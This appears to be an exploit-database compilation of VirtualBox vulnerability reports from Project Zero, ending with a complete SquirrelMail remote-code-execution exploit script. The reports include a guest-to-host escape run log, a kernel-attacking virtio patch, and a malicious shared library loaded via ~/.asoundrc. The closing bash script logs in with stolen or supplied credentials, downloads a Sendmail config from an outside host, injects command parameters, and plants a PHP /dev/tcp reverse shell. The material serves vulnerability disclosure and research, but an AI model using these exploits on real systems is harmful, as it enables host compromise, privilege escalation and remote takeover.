at the same virtual address. The exploit uses a hardcoded address to
leak the contents of the GOT (global offset table), which can then be
used to locate the addresses of libc functions.
It's probably a good idea to build the VirtualBox binaries as
relocatable code to prevent attacks from simply using
hardcoded addresses - and this mitigation is pretty simple to
implement, you just have to add some compiler flags (`-pie -fPIE`
or so). To verify that it's working, run VirtualBox, then as root,
grep the contents of /proc/{pid of VirtualBox}/maps for VirtualBox and
verify that the mappings don't have low ranges like 00400000-00408000,
but use high addresses like 7ffb0f62e000 instead.
As far as I can tell from the source, on a Linux or Mac host, an
attacker who has compromised the VM host process can also run
arbitrary code in the host kernel using the ioctls SUP_IOCTL_LDR_OPEN
and SUP_IOCTL_LDR_LOAD. If that is indeed the case, it might make
sense to reduce the privileges of the userland host code by
sandboxing components like the shared folder host and the NAT
implementation and/or by rearchitecting VirtualBox so that the host
kernel doesn't trust the host userland binary.
To reproduce the bug with the attached exploit:
- On the host or some other box on the internet, compile and run the
helper:
$ gcc -o helper helper.c -Wall
$ ./helper
- In the guest, compile the exploit:
# gcc -o bcs bcs.c -Wall -std=gnu99
(This may throw some harmless format string warnings depending on
whether the guest is 64-bit.)
- To improve reliability, ensure that the guest isn't
running any network services or clients, save the guest VM and
restore it. (Saving and restoring the guest resets the Slirp heap.)
- In the guest, as root, run the exploit. Pass the helper host's IP
address as argument.
# ./bcs xxx.xxx.xxx.xxx
- If the exploit was successful, there should be a new file
"/tmp/owned_from_guest" on the host that contains the output of the
"id" command.
A successful run of the exploit should look like this:
==================================================================
# ./bcs {censored}
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* dev \([^ ]*\) .*|\1|' | tr -d '\n'>>>
enp0s3
================================
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* src \([^ ]*\) .*|\1|' | tr -d '\n'>>>
10.0.2.15
================================
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* via \([^ ]*\) .*|\1|' | tr -d '\n'>>>
10.0.2.2
================================
systemf: <<<ping -c3 -w4 10.0.2.2>>>
PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data.
64 bytes from 10.0.2.2: icmp_seq=2 ttl=64 time=0.375 ms
64 bytes from 10.0.2.2: icmp_seq=3 ttl=64 time=0.277 ms
64 bytes from 10.0.2.2: icmp_seq=4 ttl=64 time=0.297 ms
--- 10.0.2.2 ping statistics ---
4 packets transmitted, 3 received, 25% packet loss, time 3054ms
rtt min/avg/max/mdev = 0.277/0.316/0.375/0.044 ms
================================
systemf: <<<arp -s 10.0.2.2 01:23:45:67:89:ab>>>
systemf: <<<iptables -I OUTPUT -o enp0s3 -j DROP>>>
defragging...
defragged
trying to leak...
got UDP, len=68
leak_udp successful
got data
00000000 01 00 ad de 00 00 00 00 00 e6 b4 48 56 7f 00 00 |...........HV...|
00000010 01 00 00 00 00 00 00 00 58 3e 26 35 56 7f 00 00 |........X>&5V...|
00000020 18 2e 26 35 56 7f 00 00 |..&5V...|
00000028
magic: 0xdead0001
zone: 0x7f5648b4e600
refcount: 0x1
next: 0x7f5635263e58
prev: 0x7f5635262e00
defragging...
defragged
placed shell command at 0x7f5635263676
freelist head at 0x7f5648b4e690
trying to leak...
got UDP, len=68
leak_udp successful
got data
00000000 01 00 ad de 00 00 00 00 00 e6 b4 48 56 7f 00 00 |...........HV...|
00000010 01 00 00 00 00 00 00 00 a0 ec 25 35 56 7f 00 00 |..........%5V...|
00000020 60 dc 25 35 56 7f 00 00 |`.%5V...|
00000028
magic: 0xdead0001
zone: 0x7f5648b4e600
refcount: 0x1
next: 0x7f563525eca0
prev: 0x7f563525dc48
defragging...
defragged
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525fd42, fake_zone at 0x7f563525fd4a
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525f516, fake_zone at 0x7f563525f51e
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525ecea, fake_zone at 0x7f563525ecf2
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525e4be, fake_zone at 0x7f563525e4c6
send_udp_datashift(shift_amount=40, data_length=9368)
send_udp_datashift(shift_amount=36, data_length=9368)
sending packet2, ip_off=0x28, ip_id=0x1a
trying to leak GOT from fake chunk...
got UDP, len=540
leak_udp successful
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000200
defragging...
defragged
got UDP, len=540
leak_udp successful
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000010 b0 09 c0 97 56 7f 00 00 b6 0f 40 00 00 00 00 00 |....V.....@.....|
00000020 10 9d c3 97 56 7f 00 00 a0 a0 c3 97 56 7f 00 00 |....V.......V...|
00000030 e6 0f 40 00 00 00 00 00 90 28 c7 97 56 7f 00 00 |..@......(..V...|
00000040 20 9d c3 97 56 7f 00 00 e0 03 15 98 56 7f 00 00 | ...V.......V...|
00000050 26 10 40 00 00 00 00 00 36 10 40 00 00 00 00 00 |&.@.....6.@.....|
00000060 50 9e b9 97 56 7f 00 00 56 10 40 00 00 00 00 00 |P...V...V.@.....|
00000070 80 30 c6 97 56 7f 00 00 10 fc c0 97 56 7f 00 00 |.0..V.......V...|
00000080 86 10 40 00 00 00 00 00 96 10 40 00 00 00 00 00 |..@.......@.....|
00000090 c0 fe c0 97 56 7f 00 00 80 2c c7 97 56 7f 00 00 |....V....,..V...|
000000a0 d0 9f c3 97 56 7f 00 00 30 9d c3 97 56 7f 00 00 |....V...0...V...|
000000b0 60 28 c7 97 56 7f 00 00 90 e0 f3 97 56 7f 00 00 |`(..V.......V...|
000000c0 70 c8 c6 97 56 7f 00 00 16 11 40 00 00 00 00 00 |p...V.....@.....|
000000d0 30 0c c8 97 56 7f 00 00 a0 c8 c6 97 56 7f 00 00 |0...V.......V...|
000000e0 60 c9 c6 97 56 7f 00 00 d0 0b 15 98 56 7f 00 00 |`...V.......V...|
000000f0 66 11 40 00 00 00 00 00 76 11 40 00 00 00 00 00 |f.@.....v.@.....|
00000100 86 11 40 00 00 00 00 00 96 11 40 00 00 00 00 00 |..@.......@.....|
00000110 50 e1 f3 97 56 7f 00 00 b6 11 40 00 00 00 00 00 |P...V.....@.....|
00000120 c6 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00 |..@.............|
00000130 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 |................|
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000160 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 |................|
00000170 00 00 00 00 22 05 08 20 00 20 00 00 88 13 00 00 |....".. . ......|
00000180 81 cb 05 00 02 00 00 00 b9 4b 40 00 00 00 00 00 |.........K@.....|
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
000001a0 00 00 00 00 00 00 00 00 2f 75 73 72 2f 6c 69 62 |......../usr/lib|
000001b0 2f 76 69 72 74 75 61 6c 62 6f 78 00 56 69 72 74 |/virtualbox.Virt|
000001c0 75 61 6c 42 6f 78 00 00 00 00 00 00 00 00 00 00 |ualBox..........|
000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000200
strlen at 0x7f5697c009b0
system() at 0x7f5697bbe590
calling system()...
defragging...
defragged
trying to leak...
got UDP, len=68
leak_udp successful
got data
00000000 01 00 ad de 00 00 00 00 00 e6 b4 48 56 7f 00 00 |...........HV...|
00000010 01 00 00 00 00 00 00 00 84 cd 0f 35 56 7f 00 00 |...........5V...|
00000020 44 bd 0f 35 56 7f 00 00 |D..5V...|
00000028
magic: 0xdead0001
zone: 0x7f5648b4e600
refcount: 0x1
next: 0x7f56350fcd84
prev: 0x7f56350fbd2c
defragging...
defragged
fake zone packet item at 0x7f56350fc558, dummy_next at 0x7f56350fc5a2, fake_zone at 0x7f56350fc5aa
send_udp_datashift(shift_amount=40, data_length=3092)
send_udp_datashift(shift_amount=36, data_length=3092)
sending packet2, ip_off=0xa, ip_id=0x27
did that work?
systemf: <<<iptables -D OUTPUT -o enp0s3 -j DROP>>>
==================================================================
If the exploit crashes, you'll have to remove the firewall rule the
exploit added with `iptables -D OUTPUT -o {interface} -j DROP` inside
the VM to restore network connectivity.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41904.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1091
This bug report describes two separate issues that, when combined,
allow any user on a Linux host system on which VirtualBox is installed
to gain code execution in the kernel. Since I'm not sure which one of
these issues crosses something you consider to be a privilege boundary,
I'm reporting them together.
To reproduce, download the attached file
virtualbox-host-r3-to-host-r0-crasher.tar, ensure that at least one VM
is running, then:
/tmp$ tar xf virtualbox-host-r3-to-host-r0-crasher.tar
/tmp$ cd virtualbox-host-r3-to-host-r0-crasher/
/tmp/virtualbox-host-r3-to-host-r0-crasher$ ./attack.sh
./attack.sh: line 7: 82634 Killed QT_QPA_PLATFORM_PLUGIN_PATH=fake_qt_platform_plugins /usr/lib/virtualbox/VirtualBox --startvm
/tmp/virtualbox-host-r3-to-host-r0-crasher$ dmesg
[...]
[279468.028025] BUG: unable to handle kernel paging request at 0000000013370028
[...]
The first step of the attack is to get access to the device
/dev/vboxdrv, which can normally only be opened by root:
~$ ls -l /dev/vboxdrv
crw------- 1 root root 10, 54 Jan 17 16:23 /dev/vboxdrv
In order to be able to open this device, the main VirtualBox binary is
setuid root:
$ ls -l /usr/lib/virtualbox/VirtualBox
-r-s--x--x 1 root root 35240 Jan 16 19:55 /usr/lib/virtualbox/VirtualBox
VirtualBox uses its root privileges to open /dev/vboxdrv, then quickly
drops its privileges. However, it retains the open file descriptor to
/dev/vboxdrv. Therefore, an attacker can gain access to the device
/dev/vboxdrv by injecting code into a VirtualBox userspace process.
After dropping privileges, VirtualBox loads various libraries,
including QT, that are not designed to run in a setuid context.
See https://doc.qt.io/qt-5/qcoreapplication.html#setSetuidAllowed :
"Qt is not an appropriate solution for setuid programs due to its
large attack surface." Using the environment variable
QT_QPA_PLATFORM_PLUGIN_PATH, an attacker can let QT load a library
from an arbitrary directory.
The second step is to use the device /dev/vboxdrv to corrupt the
kernel. The SUP_IOCTL_CALL_VMMR0 ioctl takes a pointer to a structure
in ring 0 as an argument (pVMR0) and ends up calling the function
VMMR0EntryEx(). With the attached PoC, this function crashes when
attempting to read pVM->pVMR0. However, an attacker who supplies a
pointer to attacker-controlled kernel memory could reach any point in
the function. For some operations, e.g.
VMMR0_DO_VMMR0_INIT, the attacker-controlled pointer pVM is then used
in vmmR0CallRing3SetJmpEx() to save and restore various kernel
registers, including RSP. By supplying a pointer to which the attacker
can concurrently write data, an attacker can therefore control the
kernel stack and thereby perform arbitrary operations in the kernel.
(As far as I can tell, a comment in VMMR0EntryEx points out this
issue: "/** @todo validate this EMT claim... GVM knows. */")
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41905.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1136
This is a vulnerability that affects VirtualBox VMs that use a virtio
network adapter (which is a non-standard configuration). It permits
the guest kernel to write up to 4GB of controlled data out of bounds
in the trusted userland host process.
The bug is in the following code in
src/VBox/Devices/Network/DevVirtioNet.cpp (comments starting with
`//###` are by me):
while (vqueuePeek(&pThis->VPCI, pQueue, &elem))
{
unsigned int uOffset = 0;
if (elem.nOut < 2 || elem.aSegsOut[0].cb != uHdrLen)
{
[...]
}
else
{
unsigned int uSize = 0;
[...]
/* Compute total frame size. */
//### .cb members are attacker-controlled uint32_t.
//### addition is performed without overflow check.
for (unsigned int i = 1; i < elem.nOut; i++)
uSize += elem.aSegsOut[i].cb;
[...]
//### Assert() has no effect in release builds.
Assert(uSize <= VNET_MAX_FRAME_SIZE);
if (pThis->pDrv)
{
[...]
PPDMSCATTERGATHER pSgBuf;
//### undersized buffer is allocated here.
int rc = pThis->pDrv->pfnAllocBuf(pThis->pDrv, uSize, pGso, &pSgBuf);
if (RT_SUCCESS(rc))
{
Assert(pSgBuf->cSegs == 1);
/* Assemble a complete frame. */
for (unsigned int i = 1; i < elem.nOut; i++)
{
//### memory corruption happens here.
PDMDevHlpPhysRead(pThis->VPCI.CTX_SUFF(pDevIns), elem.aSegsOut[i].addr,
((uint8_t*)pSgBuf->aSegs[0].pvSeg) + uOffset,
elem.aSegsOut[i].cb);
uOffset += elem.aSegsOut[i].cb;
}
[...]
}
else
{
[...]
}
[...]
}
}
[...]
}
This code basically takes an IO vector (`elem.aSegsOut`) from the
guest, allocates a buffer (`pSgBuf`) that is large enough to hold the
concatenation of all elements of the IO vector, then copies data from
the IO vector into the newly allocated buffer. The issue here is that
the lengths from the IO vector are summed up without overflow
checking. If the total length of the IO vector is over 4GB, `uSize`
wraps around, causing the allocated buffer to be up to 4GB smaller
than the data that is copied into it.
The reason why the amount of data that is written out of bounds can be
less than 4GB is that uOffset is also only 32 bits wide, causing the
start offsets of the IO vector elements to wrap.
A VM does not need to have 4GB of memory to be able to trigger the bug.
To reproduce, create a VM with 2GB of RAM, configure the VM to use
virtio, then run a Linux system with the following kernel patch
applied inside the VM:
# git show --format=oneline HEAD
0722f57bfae9abbc673b9dbe495c7da2f64676ea Merge tag 'drm-fixes-for-v4.10-final' of git://people.freedesktop.org/~airlied/linux
# git diff
diff --git a/drivers/virtio/virtio_ring.c b/drivers/virtio/virtio_ring.c
index 409aeaa..7eca030 100644
--- a/drivers/virtio/virtio_ring.c
+++ b/drivers/virtio/virtio_ring.c
@@ -271,6 +271,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
unsigned int i, n, avail, descs_used, uninitialized_var(prev), err_idx;
int head;
bool indirect;
+ int attack_i;
START_USE(vq);
@@ -301,7 +302,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
/* If the host supports indirect descriptor tables, and we have multiple
* buffers, then go indirect. FIXME: tune this threshold */
- if (vq->indirect && total_sg > 1 && vq->vq.num_free)
+ if (false)
desc = alloc_indirect(_vq, total_sg, gfp);
else
desc = NULL;
@@ -316,7 +317,7 @@ static inline int virtqueue_add(struct virtqueue *_vq,
indirect = false;
desc = vq->vring.desc;
i = head;
- descs_used = total_sg;
+ descs_used = total_sg + 4;
}
if (vq->vq.num_free < descs_used) {
@@ -346,6 +347,13 @@ static inline int virtqueue_add(struct virtqueue *_vq,
i = virtio16_to_cpu(_vq->vdev, desc[i].next);
}
}
+ for (attack_i = 0; attack_i < 4; attack_i++) {
+ desc[i].flags = cpu_to_virtio16(_vq->vdev, VRING_DESC_F_NEXT);
+ desc[i].addr = cpu_to_virtio64(_vq->vdev, 0x100000);
+ desc[i].len = cpu_to_virtio32(_vq->vdev, 0x40000000);
+ prev = i;
+ i = virtio16_to_cpu(_vq->vdev, desc[i].next);
+ }
for (; n < (out_sgs + in_sgs); n++) {
for (sg = sgs[n]; sg; sg = sg_next(sg)) {
dma_addr_t addr = vring_map_one_sg(vq, sg, DMA_FROM_DEVICE);
As soon as the VM tries to talk to the network, the VM will crash.
In a test with VirtualBox 5.1.14 r112924, a segfault occured with the
following backtrace:
(gdb) bt
#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:37
#1 0x00007f6896620cbe in PGMPhysRead () from /usr/lib/virtualbox/components/VBoxVMM.so
#2 0x00007f685416cb9d in ?? () from /usr/lib/virtualbox/VBoxDD.so
#3 0x00007f685416cfea in ?? () from /usr/lib/virtualbox/VBoxDD.so
#4 0x00007f689657434e in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#5 0x00007f6896576fc0 in TMR3TimerQueuesDo () from /usr/lib/virtualbox/components/VBoxVMM.so
#6 0x00007f689657fa99 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#7 0x00007f6896580a63 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#8 0x00007f689650cd09 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#9 0x00007f6896580cd4 in ?? () from /usr/lib/virtualbox/components/VBoxVMM.so
#10 0x00007f68a5a6981c in ?? () from /usr/lib/virtualbox/VBoxRT.so
#11 0x00007f68a5aedc7c in ?? () from /usr/lib/virtualbox/VBoxRT.so
#12 0x00007f68a6397184 in start_thread (arg=0x7f6875af6700) at pthread_create.c:312
#13 0x00007f68a5ec037d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:111
Regarding exploitability: I have not investigated exploitability in
detail; however, I believe that this issue is probably exploitable.
For example, if the network interface is a NAT interface,
drvNATNetworkUp_AllocBuf() is used to allocate the buffer, which in
the pGso!=NULL case will allocate an arbitrarily-sized buffer with
RTMemAlloc(), which should allow arbitrarily-sized allocations,
permitting an out-of-bounds write behind a big heap allocation with
fully controlled length and data.
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1141
This is another way to escalate from an unprivileged userspace process
into the VirtualBox process, which has an open file descriptor to the
privileged device /dev/vboxdrv and can use that to compromise the
host kernel.
The issue is that, for VMs with ALSA audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. ALSA is not designed to run in a setuid
context and therefore deliberately permits loading arbitrary shared
libraries via dlopen().
To reproduce, on a normal Ubuntu desktop installation with VirtualBox
installed, first configure a VM with ALSA audio, then (where
ee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM):
~$ cd /tmp
/tmp$ cat > evil_vbox_lib.c
*/
#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
if (strcmp(program_invocation_short_name, "VirtualBox"))
return;
prctl(PR_SET_DUMPABLE, 1);
printf("running in pid %d\n", getpid());
printf("searching for vboxdrv file descriptor in current process...\n");
char linkbuf[1000];
char *needle = "/dev/vboxdrv";
for (int i=0; i<1000; i++) {
char linkpath[1000];
sprintf(linkpath, "/proc/self/fd/%d", i);
ssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1);
if (linklen == -1) continue;
if (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) {
printf("found it, fd %d is /dev/vboxdrv\n", i);
}
}
_exit(0);
}
/*
/tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
lib "/tmp/evil_vbox_lib.so"
func "conf_pulse_hook_load_if_running"
}
/tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c
running in pid 8910
searching for vboxdrv file descriptor in current process...
found it, fd 7 is /dev/vboxdrv
/tmp$ rm ~/.asoundrc
I believe that the ideal way to fix this would involve running
libasound, together with other code that doesn't require elevated
privileges - which would ideally be all userland code -, in an
unprivileged process. However, for now, moving only the audio output
handling into an unprivileged process might also do the job; I haven't
yet checked whether there are more libraries VirtualBox loads that
permit loading arbitrary libraries into the VirtualBox process.
You could probably theoretically also fix this by modifying libasound
to suppress dangerous configuration directives in ~/.asoundrc, but I
believe that that would be brittle and hard to maintain.
Tested on Ubuntu 14.04.5 with VirtualBox 5.1.14 r112924.
*/
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1103
VirtualBox: Windows Process COM Injection EoP
Platform: VirtualBox v5.0.32 r112930 x64 (Tested on Windows 10)
Class: Elevation of Privilege
Summary:
The process hardening implemented by the VirtualBox driver can be circumvented to load arbitrary code inside a VirtualBox process giving access to the VBoxDrv driver which can allow routes to EoP from a normal user.
Description:
NOTE: I don’t know if you consider this an issue or not, considering the power of accessing the VBoxDrv driver and the efforts you’re going to to block access I’d assume it is.
VirtualBox uses a number of different techniques to prevent untrusted code accessing the core system drivers. This is because most of VB runs as a non-admin user but the driver provides a number of privileged features such as allocating kernel memory and loading drivers. This process hardening is implemented in both the kernel driver (which prevents things like getting fully privileged handles to a VB process) and in user mode by hooking the library loader to block untrusted DLLs.
Obviously if you could run untrusted code inside the main VirtualBox.exe process it would potentially lead to kernel code execution. Therefore it’d be interesting to bypass. Looking at VirtualBox.exe when it runs it loads a number of COM objects into memory. Due to the way COM works it’s possible to register a per-user version of an object (by it’s unique CLSID) and that’s taken in preference to the system wide version. As all VB processes run under the user’s identity we can replace a class registration (such as for the VirtualBox Client COM server) and the started copy of VirtualBox.exe will try and load our code instead.
The trick is bypassing the signature checking process, we can’t just insert our own DLLs, so we must repurpose something which is already trusted, like most of the Microsoft signed binaries in Windows. The simplest attack vector is to use the Scriptlet Component COM server implemented in scrobj.dll. This allows us to register a COM object which instead of being implemented as a DLL is implemented in a scripting language such as JScript or VBScript. As scrobj.dll is verified as a signed MS binary it will load, however we get code execution inside the process through a JScript file which isn’t verified on a default Windows system.
Of course JScript isn’t enough to call methods on the VBoxDrv driver so we need a way of breaking out of the restrictive script environment. You could perhaps find a buggy COM object and use that to ROP your way out, but there’s an easier way. The core parts of .NET (such as mscoree, mscorwks, mscorlib) are trusted binaries, so using some of the .NET COM registrations we can use .NET from JScript to bootstrap full .NET where we can do anything, such as calling arbitrary methods through P/Invoke. We can’t just register a .NET COM object though as .NET loads most DLLs via standard library loading which will be blocked by the signature checking, so instead we force .NET to load an assembly from a byte array which the process hardening code never sees.
From a fixing perspective I’m sure there’s always going to be edge cases but you’d probably want to blacklist certain DLLs such as scrobj/jscript/vbscript etc. and also anything .NET related.
Proof of Concept:
I’ve provided a PoC as a scriptlet file and a registry reg script. When combined together the scriptlet replaces the VirtualBox Client COM server (CLSID: {DD3FC71D-26C0-4FE1-BF6F-67F633265BBA}) so when VirtualBox.exe tries to load it instead it gets a JScript implementation which bypasses the signature checking (as scrobj.dll/jscript.dll etc are MS signed system binaries). It then gets full execution by bootstrapping some arbitrary .NET code from memory (so there’s no DLL to verify) so that it can call exported library functions and access the VirtualBox driver.
Prerequisites:
You’ll need .NET 3.5 installed for the PoC to work. This isn’t strictly necessary you could register the appropriate COM classes for .NET 4 but no point polluting the registry even more. You need a configured VM to start.
1) Ensure that .NET 3.5 is installed. Otherwise the PoC will prompt you to install.
2) Copy poc.sct to the directory c:\poc so you have a file c:\poc\poc.sct on the local disk.
3) Start a VM using VBoxManage startvm "VM Name" (don’t use the GUI as that’ll also load our COM object which won’t work very well).
4) A message box should appear showing two memory addresses (which are the result of calling SUPR3PageAllocEx). The message box should be being displayed from the “unrestricted” VirtualBox.exe process.
Expected Result:
Loading Scriptlet code into memory should fail
Observed Result:
Scriptlet code is loaded and access to the device driver is allowed.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41908.zip
#!/bin/bash
#
int='\033[94m
__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/
SquirrelMail <= 1.4.23 Remote Code Execution PoC Exploit (CVE-2017-7692)
SquirrelMail_RCE_exploit.sh (ver. 1.1)
Discovered and coded by
Dawid Golunski (@dawid_golunski)
https://legalhackers.com
ExploitBox project:
https://ExploitBox.io
\033[0m'
# Quick and messy PoC for SquirrelMail webmail application.
# It contains payloads for 2 vectors:
# * File Write
# * RCE
# It requires user credentials and that SquirrelMail uses
# Sendmail method as email delivery transport
#
#
# Full advisory URL:
# https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html
# Exploit URL:
# https://legalhackers.com/exploits/CVE-2017-7692/SquirrelMail_RCE_exploit.sh
#
# Tested on: # Ubuntu 16.04
# squirrelmail package version:
# 2:1.4.23~svn20120406-2ubuntu1.16.04.1
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulns/exploitation?
# Stay tuned for my new project - ExploitBox
#
# .;lc'
# .,cdkkOOOko;.
# .,lxxkkkkOOOO000Ol'
# .':oxxxxxkkkkOOOO0000KK0x:'
# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
# .ddc;,,:c;. ,c: .cxxc:;:ox:
# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
# .dxxxxxdl;. ., .. .;cdxxxxxx:
# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
# .':oxxxxxxxxx.ckkkkkkkkxl,.
# .,cdxxxxx.ckkkkkxc.
# .':odx.ckxl,.
# .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------
sqspool="/var/spool/squirrelmail/attach/"
echo -e "$int"
#echo -e "\033[94m \nSquirrelMail - Remote Code Execution PoC Exploit (CVE-2017-7692) \n"
#echo -e "SquirrelMail_RCE_exploit.sh (ver. 1.0)\n"
#echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m\n\n"
# Base URL
if [ $# -ne 1 ]; then
echo -e "Usage: \n$0 SquirrelMail_URL"
echo -e "Example: \n$0 http://target/squirrelmail/ \n"
exit 2
fi
URL="$1"
# Log in
echo -e "\n[*] Enter SquirrelMail user credentials"
read -p "user: " squser
read -sp "pass: " sqpass
echo -e "\n\n[*] Logging in to SquirrelMail at $URL"
curl -s -D /tmp/sqdata -d"login_username=$squser&secretkey=$sqpass&js_autodetect_results=1&just_logged_in=1" $URL/src/redirect.php | grep -q incorrect
if [ $? -eq 0 ]; then
echo "Invalid creds"
exit 2
fi
sessid="`cat /tmp/sqdata | grep SQMSESS | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"
keyid="`cat /tmp/sqdata | grep key | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"
# Prepare Sendmail cnf
#
# * The config will launch php via the following stanza:
#
# Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
# T=DNS/RFC822/X-Unix,
# A=php -- $u $h ${client_addr}
#
wget -q -O/tmp/smcnf-exp https://legalhackers.com/exploits/sendmail-exploit.cf
# Upload config
echo -e "\n\n[*] Uploading Sendmail config"
token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/compose.php?mailbox=INBOX&startMessage=1" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"
attachid="`curl -H "Expect:" -s -b"SQMSESSID=$sessid; key=$keyid" -F"smtoken=$token" -F"send_to=$mail" -F"subject=attach" -F"body=test" -F"attachfile=@/tmp/smcnf-exp" -F"username=$squser" -F"attach=Add" $URL/src/compose.php | awk -F's:32' '{print $2}' | awk -F'"' '{print $2}' | tr -d '\n'`"
if [ ${#attachid} -lt 32 ]; then
echo "Something went wrong. Failed to upload the sendmail file."
exit 2
fi
# Create Sendmail cmd string according to selected payload
echo -e "\n\n[?] Select payload\n"
# SELECT PAYLOAD
echo "1 - File write (into /tmp/sqpoc)"
echo "2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh)"
echo
read -p "[1-2] " pchoice
case $pchoice in
1) payload="$squser@localhost -oQ/tmp/ -X/tmp/sqpoc"
;;
2) payload="$squser@localhost -oQ/tmp/ -C$sqspool/$attachid"
;;
esac
if [ $pchoice -eq 2 ]; then
echo
read -p "Reverese shell IP: " reverse_ip
read -p "Reverese shell PORT: " reverse_port
fi
# Reverse shell code
phprevsh="
<?php
\$cmd = \"/bin/bash -c 'bash -i >/dev/tcp/$reverse_ip/$reverse_port 0<&1 2>&1 & '\";
file_put_contents(\"/tmp/cmd\", 'export PATH=\"\$PATH\" ; export TERM=vt100 ;' . \$cmd);
system(\"/bin/bash /tmp/cmd ; rm -f /tmp/cmd\");
?>"
# Set sendmail params in user settings
echo -e "\n[*] Injecting Sendmail command parameters"
token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/options.php?optpage=personal" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"
curl -s -b"SQMSESSID=$sessid; key=$keyid" -d "smtoken=$token&optpage=personal&optmode=submit&submit_personal=Submit" --data-urlencode "new_email_address=$payload" "$URL/src/options.php?optpage=personal" | grep -q 'Success' 2>/dev/null
if [ $? -ne 0 ]; then
echo "Failed to inject sendmail parameters"
exit 2
fi
# Send email which triggers the RCE vuln and runs phprevsh
echo -e "\n[*] Sending the email to trigger the vuln"
(sleep 2s && curl -s -D/tmp/sheaders -b"SQMSESSID=$sessid; key=$keyid" -d"smtoken=$token" -d"startMessage=1" -d"session=0" \
-d"send_to=$squser@localhost" -d"subject=poc" --data-urlencode "body=$phprevsh" -d"send=Send" -d"username=$squser" $URL/src/compose.php) &
if [ $pchoice -eq 2 ]; then
echo -e "\n[*] Waiting for shell on $reverse_ip port $reverse_port"
nc -vv -l -p $reverse_port
else
echo -e "\n[*] The test file should have been written at /tmp/sqpoc"
fi
